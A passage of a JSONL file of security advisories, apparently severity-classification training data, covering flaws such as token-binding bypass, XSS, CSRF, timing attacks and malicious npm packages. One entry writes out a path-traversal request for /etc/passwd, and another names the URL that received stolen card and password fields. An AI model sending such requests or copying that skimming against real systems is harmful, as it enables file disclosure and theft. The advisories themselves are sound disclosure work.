[workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39139](https://x-stream.github.io/CVE-2021-39139.html).\n\n### Credits\nLai Han of nsfocus security team found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4e8b07dd3ad880865998", "text": "github.com/nats-io/nats-server Import token permissions checking not enforced\n\n(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2021-3127.txt>)\n\n## Problem Description\n\nThe NATS server provides for Subjects which are namespaced by Account; all Subjects are supposed to be private to an account, with an Export/Import system used to grant cross-account access to some Subjects.  Some Exports are public, such that anyone can import the relevant subjects, and some Exports are private, such that the Import requires a token JWT to prove permission.\n\nThe JWT library's validation of the bindings in the Import Token incorrectly warned on mismatches, instead of outright rejecting the token.\n\nAs a result, any account can take an Import token used by any other account and re-use it for themselves because the binding to the importing account is not rejected, and use it to import *any* Subject from the Exporting account, not just the Subject referenced in the Import Token.\n\nThe NATS account-server system treats account JWTs as semi-public information, such that an attacker can easily enumerate all account JWTs and retrieve all Import Tokens from those account JWTs.\n\nThe CVE identifier should cover the JWT library repair and the nats-server containing the fixed JWT library, and any other application depending upon the fixed JWT library.\n\n## Affected versions\n\n#### JWT library\n\n* all versions prior to 2.0.1\n * fixed after nats-io/jwt#149 landed (2021-03-14)\n\n#### NATS Server\n\n* Version 2 prior to 2.2.0\n   + 2.0.0 through and including 2.1.9 are vulnerable\n * fixed with nats-io/nats-server@423b79440c (2021-03-14)\n\n## Impact\n\nIn deployments with untrusted accounts able to update the Account Server with imports, a malicious account can access any Subject from an account which provides Exported Subjects.\n\nAbuse of this facility requires the malicious actor to upload their tampered Account JWT to the Account Server, providing the service operator with a data-store which can be scanned for signs of abuse.\n\n## Workaround\n\nDeny access to clients to update their account JWT in the account server.\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts (with private Exports; Account owners can create those at any time though).\n\nAudit all accounts JWTs to scan for exploit attempts; a Python script to audit the accounts can be found at <https://gist.github.com/philpennock/09d49524ad98043ff11d8a40c2bb0d5a>.", "text_raw": "github.com/nats-io/nats-server Import token permissions checking not enforced\n\n[Severity: HIGH]\n\n(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2021-3127.txt>)\n\n## Problem Description\n\nThe NATS server provides for Subjects which are namespaced by Account; all Subjects are supposed to be private to an account, with an Export/Import system used to grant cross-account access to some Subjects.  Some Exports are public, such that anyone can import the relevant subjects, and some Exports are private, such that the Import requires a token JWT to prove permission.\n\nThe JWT library's validation of the bindings in the Import Token incorrectly warned on mismatches, instead of outright rejecting the token.\n\nAs a result, any account can take an Import token used by any other account and re-use it for themselves because the binding to the importing account is not rejected, and use it to import *any* Subject from the Exporting account, not just the Subject referenced in the Import Token.\n\nThe NATS account-server system treats account JWTs as semi-public information, such that an attacker can easily enumerate all account JWTs and retrieve all Import Tokens from those account JWTs.\n\nThe CVE identifier should cover the JWT library repair and the nats-server containing the fixed JWT library, and any other application depending upon the fixed JWT library.\n\n\n## Affected versions\n\n#### JWT library\n\n * all versions prior to 2.0.1\n * fixed after nats-io/jwt#149 landed (2021-03-14)\n\n#### NATS Server\n\n * Version 2 prior to 2.2.0\n   + 2.0.0 through and including 2.1.9 are vulnerable\n * fixed with nats-io/nats-server@423b79440c (2021-03-14)\n\n\n## Impact\n\nIn deployments with untrusted accounts able to update the Account Server with imports, a malicious account can access any Subject from an account which provides Exported Subjects.\n\nAbuse of this facility requires the malicious actor to upload their tampered Account JWT to the Account Server, providing the service operator with a data-store which can be scanned for signs of abuse.\n\n\n## Workaround\n\nDeny access to clients to update their account JWT in the account server.\n\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts (with private Exports; Account owners can create those at any time though).\n\nAudit all accounts JWTs to scan for exploit attempts; a Python script to audit the accounts can be found at <https://gist.github.com/philpennock/09d49524ad98043ff11d8a40c2bb0d5a>.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "308b08fc26752922b30b", "text": "Data race in eventio\n\nInput<R> implements Send without requiring R: Send.\n\nAffected versions of this crate allows users to send non-Send types to other threads, which can lead to undefined behavior such as data race and memory corruption.\n\nThe flaw was corrected in version 0.5.1 by adding R: Send bound to the Send impl of Input<R>.", "text_raw": "Data race in eventio\n\n[Severity: MEDIUM]\n\nInput<R> implements Send without requiring R: Send.\n\nAffected versions of this crate allows users to send non-Send types to other threads, which can lead to undefined behavior such as data race and memory corruption.\n\nThe flaw was corrected in version 0.5.1 by adding R: Send bound to the Send impl of Input<R>.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "48ae6bc1dbd679f2a332", "text": "Prototype Pollution in json-pointer\n\nThis affects versions of package `json-pointer` up to and including `0.6.1`. A type confusion vulnerability can lead to a bypass of CVE-2020-7709 when the pointer components are arrays.", "text_raw": "Prototype Pollution in json-pointer\n\n[Severity: MEDIUM]\n\nThis affects versions of package `json-pointer` up to and including `0.6.1`. A type confusion vulnerability can lead to a bypass of CVE-2020-7709 when the pointer components are arrays.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "7b57ba1c157f950162ba", "text": "Withdrawn, accidental duplicate publish.\n\nactionpack/lib/action_dispatch/http/mime_type.rb in Action Pack in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not properly restrict use of the MIME type cache, which allows remote attackers to cause a denial of service (memory consumption) via a crafted HTTP Accept header.", "text_raw": "Moderate severity vulnerability that affects actionpack\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\n\nactionpack/lib/action_dispatch/http/mime_type.rb in Action Pack in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not properly restrict use of the MIME type cache, which allows remote attackers to cause a denial of service (memory consumption) via a crafted HTTP Accept header.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "ffe2e3eaa0bee64ef24e", "text": "User enumeration in authentication mechanisms\n\nDescription\n-----------\n\nThe ability to enumerate users was possible without relevant permissions due to different exception messages depending on whether the user existed or not. It was also possible to enumerate users by using a timing attack, by comparing time elapsed when authenticating an existing user and authenticating a non-existing user.\n\nResolution\n----------\n\nWe now ensure that 403s are returned whether the user exists or not if the password is invalid or if the user does not exist.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/2a581d22cc621b33d5464ed65c4bc2057f72f011) for branch 3.4.\n\nCredits\n-------\n\nI would like to thank James Isaac and Mathias Brodala for reporting the issue and Robin Chalas for fixing the issue.", "text_raw": "User enumeration in authentication mechanisms\n\n[Severity: LOW]\n\nDescription\n-----------\n\nThe ability to enumerate users was possible without relevant permissions due to different exception messages depending on whether the user existed or not. It was also possible to enumerate users by using a timing attack, by comparing time elapsed when authenticating an existing user and authenticating a non-existing user.\n\nResolution\n----------\n\nWe now ensure that 403s are returned whether the user exists or not if the password is invalid or if the user does not exist.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/2a581d22cc621b33d5464ed65c4bc2057f72f011) for branch 3.4.\n\nCredits\n-------\n\nI would like to thank James Isaac and Mathias Brodala for reporting the issue and Robin Chalas for fixing the issue.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "dbfcafe7447af2fcc573", "text": "DreamBox DM500(+) Arbitrary File Download Vulnerability", "text_raw": "DreamBox DM500(+) Arbitrary File Download Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-05-13", "split": "train"}
-{"id": "da25876e6792a4c5e419", "text": "mysql-bunuuid-rails vulnerable to SQL injection\n\nmysql-binuuid-rails 1.1.0 and earlier allows SQL Injection because it removes default string escaping for affected database columns.", "text_raw": "mysql-bunuuid-rails vulnerable to SQL injection\n\n[Severity: CRITICAL]\n\nmysql-binuuid-rails 1.1.0 and earlier allows SQL Injection because it removes default string escaping for affected database columns.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-30", "split": "train"}
-{"id": "41856c84fbe057df89db", "text": "Possible bypass of token claim validation when OAuth2 Introspection caching is enabled\n\n### Impact\n\nWhen you make a request to an endpoint that requires the scope `foo` using an access token granted with that `foo` scope, introspection will be valid and that token will be cached. The problem comes when a second requests to an endpoint that requires the scope `bar` is made before the cache has expired. Whether the token is granted or not to the `bar` scope, introspection will be valid.\n\n### Patches\n\nA patch will be released with `v0.38.12-beta.1`.\n\n### Workarounds\n\nPer default, caching is disabled for the `oauth2_introspection` authenticator. When caching is disabled, this vulnerability does not exist.\n\n### Trace\n\nThe cache is checked in [`func (a *AuthenticatorOAuth2Introspection) Authenticate(...)`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L152). From [`tokenFromCache()`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L97) it seems that it only validates the token expiration date, but ignores whether the token has or not the proper scopes.\n\n### Post-Mortem\n\nThe vulnerability was introduced in PR #424. During review, we failed to require appropriate test coverage by the submitter which is the primary reason that the vulnerability passed the review process.\n\nTo avoid this from happening again we enabled codecov with a strict policy on the Ory Oathkeeper repository: Without an increase in code coverage the PR can not be merged.\n\nTo address this issue and any regressions we have added a test suite ensuring that the cache behaviour is correct in the different scenarios:\n\n- Scope strategy is `none`, cache is enabled, and `requested_scope` is not empty -> cache will not be used;\n- Scope strategy is `none`, cache is enabled, and `requested_scope` is empty -> cache will be used;\n- Scope strategy is not `none`, cache is enabled, and `requested_scope` is not empty -> cache will be used;\n\nas well as validating if `iss`, `aud`, `exp`, `token_use`, and scope are validated.\n\nAdditionally, we added [CodeQL scanning](https://github.com/ory/oathkeeper/commit/64ac7562669287d391cd72dfd43c5d71ff9f89a1) to the CI.", "text_raw": "Possible bypass of token claim validation when OAuth2 Introspection caching is enabled\n\n[Severity: HIGH]\n\n### Impact\n\nWhen you make a request to an endpoint that requires the scope `foo` using an access token granted with that `foo` scope, introspection will be valid and that token will be cached. The problem comes when a second requests to an endpoint that requires the scope `bar` is made before the cache has expired. Whether the token is granted or not to the `bar` scope, introspection will be valid.\n\n### Patches\n\nA patch will be released with `v0.38.12-beta.1`.\n\n### Workarounds\n\nPer default, caching is disabled for the `oauth2_introspection` authenticator. When caching is disabled, this vulnerability does not exist.\n\n### Trace\n\nThe cache is checked in [`func (a *AuthenticatorOAuth2Introspection) Authenticate(...)`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L152). From [`tokenFromCache()`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L97) it seems that it only validates the token expiration date, but ignores whether the token has or not the proper scopes.\n\n### Post-Mortem\n\nThe vulnerability was introduced in PR #424. During review, we failed to require appropriate test coverage by the submitter which is the primary reason that the vulnerability passed the review process.\n\nTo avoid this from happening again we enabled codecov with a strict policy on the Ory Oathkeeper repository: Without an increase in code coverage the PR can not be merged.\n\nTo address this issue and any regressions we have added a test suite ensuring that the cache behaviour is correct in the different scenarios:\n\n- Scope strategy is `none`, cache is enabled, and `requested_scope` is not empty -> cache will not be used;\n- Scope strategy is `none`, cache is enabled, and `requested_scope` is empty -> cache will be used;\n- Scope strategy is not `none`, cache is enabled, and `requested_scope` is not empty -> cache will be used;\n\nas well as validating if `iss`, `aud`, `exp`, `token_use`, and scope are validated.\n\nAdditionally, we added [CodeQL scanning](https://github.com/ory/oathkeeper/commit/64ac7562669287d391cd72dfd43c5d71ff9f89a1) to the CI.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "9daa53a5e2ed6b3ce272", "text": "Cross-site Scripting in jsoneditor\n\nStored XSS was discovered in the tree mode of jsoneditor before 9.0.2 through injecting and executing JavaScript.", "text_raw": "Cross-site Scripting in jsoneditor\n\n[Severity: MEDIUM]\n\nStored XSS was discovered in the tree mode of jsoneditor before 9.0.2 through injecting and executing JavaScript.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "b25fd0dd5e0be27bb10f", "text": "Cross-Site Request Forgery (CSRF) in hswebframework.web:hsweb-commons\n\nA CSRF issue was discovered in web/authorization/oauth2/controller/OAuth2ClientController.java in hsweb 3.0.4 because the state parameter in the request is not compared with the state parameter in the session after user authentication is successful.", "text_raw": "Cross-Site Request Forgery (CSRF) in hswebframework.web:hsweb-commons\n\n[Severity: HIGH]\n\nA CSRF issue was discovered in web/authorization/oauth2/controller/OAuth2ClientController.java in hsweb 3.0.4 because the state parameter in the request is not compared with the state parameter in the session after user authentication is successful.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "fda78ef06870c96ae5f7", "text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in Apache Struts\n\nApache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.", "text_raw": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in Apache Struts\n\n[Severity: CRITICAL]\n\nApache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-02", "split": "train"}
-{"id": "fe16b6499704d9ad1541", "text": "In Apache Spark before 2.2.0, it is possible for an attacker to take advantage of a user's trust in the server to trick them into visiting a link that points to a shared Spark cluster and submits data including MHTML to the Spark master, or history server. This data, which could contain a script, would then be reflected back to the user and could be evaluated and executed by MS Windows-based clients. It is not an attack on Spark itself, but on the user, who may then execute the script inadvertently when viewing elements of the Spark web UIs.", "text_raw": "Moderate severity vulnerability that affects org.apache.spark:spark-core_2.10 and org.apache.spark:spark-core_2.11\n\n[Severity: MEDIUM]\n\nIn Apache Spark before 2.2.0, it is possible for an attacker to take advantage of a user's trust in the server to trick them into visiting a link that points to a shared Spark cluster and submits data including MHTML to the Spark master, or history server. This data, which could contain a script, would then be reflected back to the user and could be evaluated and executed by MS Windows-based clients. It is not an attack on Spark itself, but on the user, who may then execute the script inadvertently when viewing elements of the Spark web UIs.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "7057415cfbe2e0d2344f", "text": "Cross-Site Scripting (XSS) in Verdaccio\n\n### Impact\nWhat kind of vulnerability is it? Who is impacted?\n\nCross-Site Scripting XSS, malicious packages with content Javascript that might be executed in the User Interface stealing user credentials.\n\n### Patches\nHas the problem been patched? What versions should users upgrade to?\n\nUsers that still using `v3` must upgrade to **>3.12.0** or those have no problem to migrate to a major version **>=4.0.0** also fix the issue.\n\n### Workarounds\nIs there a way for users to fix or remediate the vulnerability without upgrading?\n\nNo, the users must update.\n\n### References\nAre there any links users can visit to find out more?\n\nhttps://www.npmjs.com/advisories/832\nhttps://www.npmjs.com/advisories/833\n\nThe issue was reported by the NPMJS Security Team\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Read the Security Policy to find the ways to be in contact with us.", "text_raw": "Cross-Site Scripting (XSS) in Verdaccio\n\n[Severity: MEDIUM]\n\n### Impact\nWhat kind of vulnerability is it? Who is impacted?\n\nCross-Site Scripting XSS, malicious packages with content Javascript that might be executed in the User Interface stealing user credentials. \n\n### Patches\nHas the problem been patched? What versions should users upgrade to?\n\nUsers that still using `v3` must upgrade to **>3.12.0** or those have no problem to migrate to a major version **>=4.0.0** also fix the issue.\n\n### Workarounds\nIs there a way for users to fix or remediate the vulnerability without upgrading?\n\nNo, the users must update.\n\n### References\nAre there any links users can visit to find out more?\n\nhttps://www.npmjs.com/advisories/832\nhttps://www.npmjs.com/advisories/833\n\nThe issue was reported by the NPMJS Security Team\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Read the Security Policy to find the ways to be in contact with us.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "12eb96464c88c0c89942", "text": "Prototype Pollution in iniparserjs\n\nThis affects all versions of package iniparserjs. This vulnerability relates when ini_parser.js is concentrating arrays. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.", "text_raw": "Prototype Pollution in iniparserjs\n\n[Severity: MEDIUM]\n\nThis affects all versions of package iniparserjs. This vulnerability relates when ini_parser.js is concentrating arrays. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "aab2d6b0e81d3f813912", "text": "Malicious Package in bowee\n\nVersion 1.8.4 of `bowee` contained malicious code as a preinstall script. The package downloaded a file from a remote server, executed it and opened a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bowee\n\n[Severity: CRITICAL]\n\nVersion 1.8.4 of `bowee` contained malicious code as a preinstall script. The package downloaded a file from a remote server, executed it and opened a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "ccabcccdebcca6fb5e41", "text": "fuseki downloads Resources over HTTP\n\nAffected versions of `fuseki` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `fuseki`.\n\n## Recommendation\n\nUpdate to version 1.0.1 or later.", "text_raw": "fuseki downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `fuseki` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `fuseki`.\n\n\n## Recommendation\n\nUpdate to version 1.0.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "6daea645626beae4f2ec", "text": "Padding Oracle Attack due to Observable Timing Discrepancy in jose\n\njose is an npm library providing a number of cryptographic operations.\n### Impact\n\n[AES_CBC_HMAC_SHA2 Algorithm](https://tools.ietf.org/html/rfc7518#section-5.2) (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed `JWEDecryptionFailed` would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).\n\n### Patches\n\nAll major release versions have had a patch released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are `^1.28.1 || ^2.0.5 || >=3.11.4`.\n\nUsers should upgrade their v1.x dependency to [`^1.28.1`](https://github.com/panva/jose/releases/tag/v1.28.1), their v2.x dependency to [`^2.0.5`](https://github.com/panva/jose/releases/tag/v2.0.5), and their v3.x dependency to [`^3.11.4`](https://github.com/panva/jose/releases/tag/v3.11.4)\n\n### Credits\nThanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.", "text_raw": "Padding Oracle Attack due to Observable Timing Discrepancy in jose\n\n[Severity: MEDIUM]\n\njose is an npm library providing a number of cryptographic operations.\n### Impact\n\n[AES_CBC_HMAC_SHA2 Algorithm](https://tools.ietf.org/html/rfc7518#section-5.2) (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed `JWEDecryptionFailed` would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).\n\n### Patches\n\nAll major release versions have had a patch released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are `^1.28.1 || ^2.0.5 || >=3.11.4`.\n\nUsers should upgrade their v1.x dependency to [`^1.28.1`](https://github.com/panva/jose/releases/tag/v1.28.1), their v2.x dependency to [`^2.0.5`](https://github.com/panva/jose/releases/tag/v2.0.5), and their v3.x dependency to [`^3.11.4`](https://github.com/panva/jose/releases/tag/v3.11.4)\n\n### Credits\nThanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "cb2de7481dd3e847f1b0", "text": "Malicious Package in rc-calendar-jhorst\n\nVersion 8.4.3 of `rc-calendar-jhorst` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 8.4.3 of this module is found installed you will want to replace it with a version before or after 8.4.3. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 8.4.2", "text_raw": "Malicious Package in rc-calendar-jhorst\n\n[Severity: CRITICAL]\n\nVersion 8.4.3 of `rc-calendar-jhorst` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 8.4.3 of this module is found installed you will want to replace it with a version before or after 8.4.3. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 8.4.2", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "8fb3dc16039e65716b43", "text": "Directory Traversal in wind-mvc\n\nAffected versions of `wind-mvc` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in wind-mvc\n\n[Severity: HIGH]\n\nAffected versions of `wind-mvc` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "aac904e2f70065342dd5", "text": "IntelliChoice eFORCE Software Suite v2.5.9 Username Enumeration", "text_raw": "IntelliChoice eFORCE Software Suite v2.5.9 Username Enumeration\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2021-07-28", "split": "train"}
-{"id": "8e1d949a7e8508694f7d", "text": "## Multiple timing attack vulnerabilities leading to the recovery of secrets based on the use of non-constant time compare function\n\n### Impact\n\nString comparison method in multiple authentication validation in Armeria were known to be vulnerable to timing attacks. This vulnerability is caused by the insecure implementation of `equals` method from `java.lang.String`. While this attack is not practically possible, an attacker still has a potential to attack if the victim's server validates user by using `equals` method.\n\nWe would like to thank @chrsow for pointing out the issue.\n\n## Potentially vulnerable codes\n\nhttps://github.com/line/armeria/blob/f0d870fde1088114070be31b67f7df0a21e835c6/core/src/main/java/com/linecorp/armeria/server/auth/OAuth2Token.java#L54\nhttps://github.com/line/armeria/blob/f0d870fde1088114070be31b67f7df0a21e835c6/core/src/main/java/com/linecorp/armeria/server/auth/BasicToken.java#L64\n\n### Patches\n\nThere are two options to patch this issue.\n\n1. Remove `equals` method; it has been exclusively used for test cases and was never used in any OSS projects that are using Armeria. (But it is worth noting that there are possibilities of closed projects authenticating users by utilizing `equals` method)\n\n2. Use `MessageDigest.isEqual` to compare the credential instead.\n\n### Workarounds\n\n1. Update to the latest version (TBD)\n\n2-1. Users can prevent these vulnerabilities by modifying and implementing timing attack preventions by themselves.\n\n2-2. Precisely speaking, it is possible to compare credentials by securely comparing them after calling methods to directly return the input (namely `Object. accessToken()`, `Object.username()` and `Object.password()`).\n\n### References\n- https://cwe.mitre.org/data/definitions/208.html\n- https://security.stackexchange.com/questions/111040/should-i-worry-about-remote-timing-attacks-on-string-comparison\n\n### Side Note\n\nSince it is a theoretical attack, there is no PoC available from neither the vendor nor the security team.", "text_raw": "Low severity vulnerability that affects com.linecorp.armeria:armeria\n\n[Severity: MEDIUM]\n\n## Multiple timing attack vulnerabilities leading to the recovery of secrets based on the use of non-constant time compare function\n\n### Impact\n\nString comparison method in multiple authentication validation in Armeria were known to be vulnerable to timing attacks. This vulnerability is caused by the insecure implementation of `equals` method from `java.lang.String`. While this attack is not practically possible, an attacker still has a potential to attack if the victim's server validates user by using `equals` method.\n\nWe would like to thank @chrsow for pointing out the issue.\n\n## Potentially vulnerable codes\n\nhttps://github.com/line/armeria/blob/f0d870fde1088114070be31b67f7df0a21e835c6/core/src/main/java/com/linecorp/armeria/server/auth/OAuth2Token.java#L54\nhttps://github.com/line/armeria/blob/f0d870fde1088114070be31b67f7df0a21e835c6/core/src/main/java/com/linecorp/armeria/server/auth/BasicToken.java#L64\n\n### Patches\n\nThere are two options to patch this issue.\n\n1. Remove `equals` method; it has been exclusively used for test cases and was never used in any OSS projects that are using Armeria. (But it is worth noting that there are possibilities of closed projects authenticating users by utilizing `equals` method)\n\n2. Use `MessageDigest.isEqual` to compare the credential instead.\n\n### Workarounds\n\n1. Update to the latest version (TBD)\n\n2-1. Users can prevent these vulnerabilities by modifying and implementing timing attack preventions by themselves.\n\n2-2. Precisely speaking, it is possible to compare credentials by securely comparing them after calling methods to directly return the input (namely `Object. accessToken()`, `Object.username()` and `Object.password()`).\n\n### References\n- https://cwe.mitre.org/data/definitions/208.html\n- https://security.stackexchange.com/questions/111040/should-i-worry-about-remote-timing-attacks-on-string-comparison\n\n### Side Note\n\nSince it is a theoretical attack, there is no PoC available from neither the vendor nor the security team.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-05", "split": "train"}
-{"id": "ee1d3552dea16762913b", "text": "Invalid session token expiration\n\nHashiCorp Vault and Vault Enterprise allowed the renewal of nearly-expired token leases and dynamic secret leases (specifically, those within 1 second of their maximum TTL), which caused them to be incorrectly treated as non-expiring during subsequent use. Fixed in 1.5.9, 1.6.5, and 1.7.2.", "text_raw": "Invalid session token expiration \n\n[Severity: HIGH]\n\nHashiCorp Vault and Vault Enterprise allowed the renewal of nearly-expired token leases and dynamic secret leases (specifically, those within 1 second of their maximum TTL), which caused them to be incorrectly treated as non-expiring during subsequent use. Fixed in 1.5.9, 1.6.5, and 1.7.2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "7364bfdd5eacd098b575", "text": "Nullsoft Winamp 5.581 (wnaspi32.dll) DLL Hijacking Exploit", "text_raw": "Nullsoft Winamp 5.581 (wnaspi32.dll) DLL Hijacking Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-08-26", "split": "train"}
-{"id": "44209bf2e07a361783d5", "text": "Active Record Improper Input Validation\n\nThe Active Record component in Ruby on Rails 2.3.x before 2.3.18, 3.1.x before 3.1.12, and 3.2.x before 3.2.13 processes certain queries by converting hash keys to symbols, which allows remote attackers to cause a denial of service via crafted input to a where method.", "text_raw": "Active Record Improper Input Validation\n\n[Severity: MEDIUM]\n\nThe Active Record component in Ruby on Rails 2.3.x before 2.3.18, 3.1.x before 3.1.12, and 3.2.x before 3.2.13 processes certain queries by converting hash keys to symbols, which allows remote attackers to cause a denial of service via crafted input to a where method.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "91de02611957205db062", "text": "Axis Commerce 0.8.7.2 Remote Script Insertion Vulnerabilities", "text_raw": "Axis Commerce 0.8.7.2 Remote Script Insertion Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-11-30", "split": "train"}
